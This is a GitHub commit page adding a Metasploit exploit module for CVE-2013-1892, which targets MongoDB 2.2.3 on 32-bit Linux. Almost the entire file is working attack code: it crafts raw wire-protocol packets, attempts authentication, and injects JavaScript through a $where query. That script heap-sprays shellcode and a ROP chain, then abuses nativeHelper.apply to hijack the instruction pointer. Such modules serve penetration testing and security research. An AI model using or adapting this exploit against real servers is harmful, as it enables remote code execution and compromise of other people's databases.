Skip to content

Commit dee5835

Browse files
author
agix
committed
Create mongod_native_helper.rb
metasploit exploit module for CVE-2013-1892
1 parent e4e9a94 commit dee5835

File tree

1 file changed

+299
-0
lines changed

1 file changed

+299
-0
lines changed
Lines changed: 299 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,299 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
12+
include Msf::Exploit::Remote::Tcp
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'MongoDB nativeHelper.apply Instruction Pointer Control',
17+
'Description' => %q{
18+
This module exploit a feature in spiderMonkey to control Instruction Pointer.
19+
},
20+
'Author' =>
21+
[
22+
'agix @agixid'
23+
],
24+
'References' =>
25+
[
26+
[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ],
27+
[ 'CVE', '2013-1892' ],
28+
],
29+
'Platform' => ['linux'],
30+
'Arch' => ARCH_X86,
31+
'Targets' =>
32+
[
33+
[ 'mongod 2.2.3 - 32bits', { } ]
34+
],
35+
'DefaultTarget' => 0,
36+
'License' => MSF_LICENSE
37+
))
38+
39+
register_options(
40+
[
41+
Opt::RPORT(27017),
42+
Opt::RHOST(),
43+
OptString.new('DB', [ false, "Database to use", ""]),
44+
OptString.new('Collection', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
45+
OptString.new('Username', [ false, "Login to use", ""]),
46+
OptString.new('Password', [ false, "Password to use", ""])
47+
], self.class)
48+
end
49+
50+
def exploit
51+
begin
52+
connect
53+
if require_auth?
54+
print_status("Mongo server #{datastore['RHOST']} use authentication...")
55+
if !datastore['Username'] || !datastore['Password']
56+
disconnect
57+
return
58+
end
59+
if do_login==0
60+
disconnect
61+
return
62+
end
63+
else
64+
print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
65+
end
66+
67+
if datastore['Collection'] && datastore['Collection'] != ""
68+
collection = datastore['Collection']
69+
else
70+
collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
71+
if read_only?(collection)
72+
print_error("#{datastore['Username']} have readOnly access, please provide an existent collection")
73+
disconnect
74+
return
75+
else
76+
print_good("New document created in collection #{collection}")
77+
end
78+
end
79+
print_status("Let's exploit, heap spray could take some time...")
80+
81+
shellcode = Rex::Text.to_unescape(payload.encoded)
82+
83+
mmap = [
84+
0x0816f768,
85+
0x0c0c0c0c,
86+
0x0c0c0000,
87+
0x00001000,
88+
0x00000007,
89+
0x00000031,
90+
0xffffffff,
91+
0x00000000,
92+
].pack("V*")
93+
94+
ret = [0x08055a70].pack("V*")
95+
96+
gadget1 = "0x836e204" #mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
97+
98+
#THIS GADGETS NEED TO BE COMPOSED WITH <0x80 BYTES ONLY
99+
gadget2 = "\\x58\\x71\\x45\\x08" #xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
100+
gadget3 = "\\x26\\x18\\x35\\x08" #add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
101+
gadget4 = "\\x6c\\x5a\\x05\\x08" #pop eax / ret
102+
gadget5 = "\\x58\\x71\\x45\\x08" #xchg esp,eax
103+
104+
shellcode_var="a"+Rex::Text.rand_text_hex(4)
105+
sizechunk_var="b"+Rex::Text.rand_text_hex(4)
106+
chunk_var="c"+Rex::Text.rand_text_hex(4)
107+
i_var="d"+Rex::Text.rand_text_hex(4)
108+
array_var="e"+Rex::Text.rand_text_hex(4)
109+
110+
ropchain_var="f"+Rex::Text.rand_text_hex(4)
111+
chunk2_var="g"+Rex::Text.rand_text_hex(4)
112+
array2_var="h"+Rex::Text.rand_text_hex(4)
113+
114+
#NOPSLED+SHELLCODE HEAPSPRAY
115+
payloadJS = shellcode_var+'=unescape("'+shellcode+'");'
116+
payloadJS << sizechunk_var+'=0x1000;'
117+
payloadJS << chunk_var+'="";'
118+
payloadJS << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } '
119+
payloadJS << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));'
120+
payloadJS << array_var+'=new Array();'
121+
payloadJS << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } '
122+
123+
#RETCHAIN+ROPCHAIN HEAPSPRAY
124+
payloadJS << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");'
125+
payloadJS << chunk2_var+'="";'
126+
payloadJS << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } '
127+
payloadJS << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));'
128+
payloadJS << array2_var+'=new Array();'
129+
payloadJS << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } '
130+
131+
#Trigger and first ROPCHAIN
132+
payloadJS << 'nativeHelper.apply({"x" : '+gadget1+'}, '
133+
payloadJS << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);'
134+
135+
request_id = Rex::Text.rand_text(4)
136+
137+
packet = request_id #requestID
138+
packet << "\xff\xff\xff\xff" #responseTo
139+
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
140+
packet << "\x00\x00\x00\x00" #flags
141+
packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection)
142+
packet << "\x00\x00\x00\x00" #numberToSkip (0)
143+
packet << "\x01\x00\x00\x00" #numberToReturn (1)
144+
145+
where = "\x02\x24\x77\x68\x65\x72\x65\x00"
146+
where << [payloadJS.length+4].pack("L")
147+
where << payloadJS+"\x00"
148+
149+
where.insert(0, [where.length + 4].pack("L"))
150+
151+
packet += where
152+
packet.insert(0, [packet.length + 4].pack("L"))
153+
154+
sock.put(packet)
155+
156+
sleep(10)
157+
disconnect
158+
rescue ::Exception => e
159+
print_error "Unable to connect: #{e.to_s}"
160+
return
161+
end
162+
end
163+
164+
def require_auth?
165+
request_id = Rex::Text.rand_text(4)
166+
packet = "\x3f\x00\x00\x00" #messageLength (63)
167+
packet << request_id #requestID
168+
packet << "\xff\xff\xff\xff" #responseTo
169+
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
170+
packet << "\x00\x00\x00\x00" #flags
171+
packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd)
172+
packet << "\x00\x00\x00\x00" #numberToSkip (0)
173+
packet << "\x01\x00\x00\x00" #numberToReturn (1)
174+
#query ({"listDatabases"=>1})
175+
packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"
176+
177+
sock.put(packet)
178+
response = sock.recv(1024)
179+
180+
have_auth_error?(response)
181+
end
182+
183+
def read_only?(collection)
184+
request_id = Rex::Text.rand_text(4)
185+
_id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02"
186+
key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
187+
value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
188+
189+
insert = _id+key+[value.length].pack("L")+value+"\x00"
190+
191+
packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength
192+
packet << request_id #requestID
193+
packet << "\xff\xff\xff\xff" #responseTo
194+
packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document)
195+
packet << "\x00\x00\x00\x00" #flags
196+
packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection)
197+
packet << [insert.length+4].pack("L")
198+
packet << insert
199+
200+
sock.put(packet)
201+
202+
request_id = Rex::Text.rand_text(4)
203+
204+
packet = [datastore['DB'].length + 61].pack("L") #messageLength (66)
205+
packet << request_id #requestID
206+
packet << "\xff\xff\xff\xff" #responseTo
207+
packet << "\xd4\x07\x00\x00" #opCode (2004 Query)
208+
packet << "\x00\x00\x00\x00" #flags
209+
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
210+
packet << "\x00\x00\x00\x00" #numberToSkip (0)
211+
packet << "\xff\xff\xff\xff" #numberToReturn (1)
212+
packet << "\x1b\x00\x00\x00"
213+
packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
214+
215+
sock.put(packet)
216+
217+
response = sock.recv(1024)
218+
have_auth_error?(response)
219+
end
220+
221+
def do_login
222+
print_status("Trying #{datastore['Username']}/#{datastore['Password']} on #{datastore['DB']} database")
223+
nonce = get_nonce
224+
status = auth(nonce)
225+
return status
226+
end
227+
228+
def auth(nonce)
229+
request_id = Rex::Text.rand_text(4)
230+
packet = request_id #requestID
231+
packet << "\xff\xff\xff\xff" #responseTo
232+
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
233+
packet << "\x00\x00\x00\x00" #flags
234+
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
235+
packet << "\x00\x00\x00\x00" #numberToSkip (0)
236+
packet << "\xff\xff\xff\xff" #numberToReturn (1)
237+
238+
#{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
239+
document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
240+
document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
241+
document << [datastore['Username'].length + 1].pack("L") # +1 due null byte termination
242+
document << datastore['Username'] + "\x00"
243+
document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
244+
document << nonce + "\x00"
245+
document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
246+
document << Rex::Text.md5(nonce + datastore['Username'] + Rex::Text.md5(datastore['Username'] + ":mongo:" + datastore['Password'])) + "\x00"
247+
document << "\x00"
248+
#Calculate document length
249+
document.insert(0, [document.length + 4].pack("L"))
250+
251+
packet += document
252+
253+
#Calculate messageLength
254+
packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength
255+
sock.put(packet)
256+
response = sock.recv(1024)
257+
if have_auth_error?(response)
258+
print_error("Bad login or DB")
259+
return 0
260+
else
261+
print_good("Successful login on DB #{datastore['db']}")
262+
return 1
263+
end
264+
265+
266+
end
267+
268+
def get_nonce
269+
request_id = Rex::Text.rand_text(4)
270+
packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length)
271+
packet << request_id #requestID
272+
packet << "\xff\xff\xff\xff" #responseTo
273+
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
274+
packet << "\x00\x00\x00\x00" #flags
275+
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
276+
packet << "\x00\x00\x00\x00" #numberToSkip (0)
277+
packet << "\x01\x00\x00\x00" #numberToReturn (1)
278+
#query {"getnonce"=>1.0}
279+
packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
280+
281+
sock.put(packet)
282+
response = sock.recv(1024)
283+
documents = response[36..1024]
284+
#{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
285+
nonce = documents[15..30]
286+
end
287+
288+
def have_auth_error?(response)
289+
#Response header 36 bytes long
290+
documents = response[36..1024]
291+
#{"errmsg"=>"auth fails", "ok"=>0.0}
292+
#{"errmsg"=>"need to login", "ok"=>0.0}
293+
if documents.include?('errmsg') || documents.include?('unauthorized')
294+
return true
295+
else
296+
return false
297+
end
298+
end
299+
end

0 commit comments

Comments
 (0)